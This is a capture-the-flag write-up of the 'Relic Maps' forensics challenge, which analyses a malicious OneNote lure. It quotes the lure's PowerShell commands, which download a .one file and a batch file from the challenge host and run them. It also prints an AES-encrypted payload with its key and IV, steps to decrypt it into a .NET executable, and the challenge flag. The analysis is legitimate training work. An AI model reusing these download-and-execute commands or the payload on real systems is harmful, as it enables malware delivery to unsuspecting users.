Relic Maps

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

OneNote: http://relicmaps.htb:32029/relicmaps.one

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"

http://relicmaps.htb:32029/get/DdAbds/window.bat

DissectMalware/batch_deobfuscator

python3 batch_interpreter.py -f window.bat

Note:

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
System.Security.Cryptography.AesManaged
CBC
PKCS7

Key:

0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=

IV:

2hn/J717js1MwdbbqMn7Lw==

With CyberChef:

file download.dat

download.dat: gzip compressed data, last modified: Sat Jan 28 00:22:25 2023, original size modulo 2^32 7168

7z x download.dat

file download
download: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Analyze with icsharpcode/ILSpy and note (within Metadata/UserString Heap)

HTB{0neN0Te?_iT'5_4_tr4P!}

Excellent.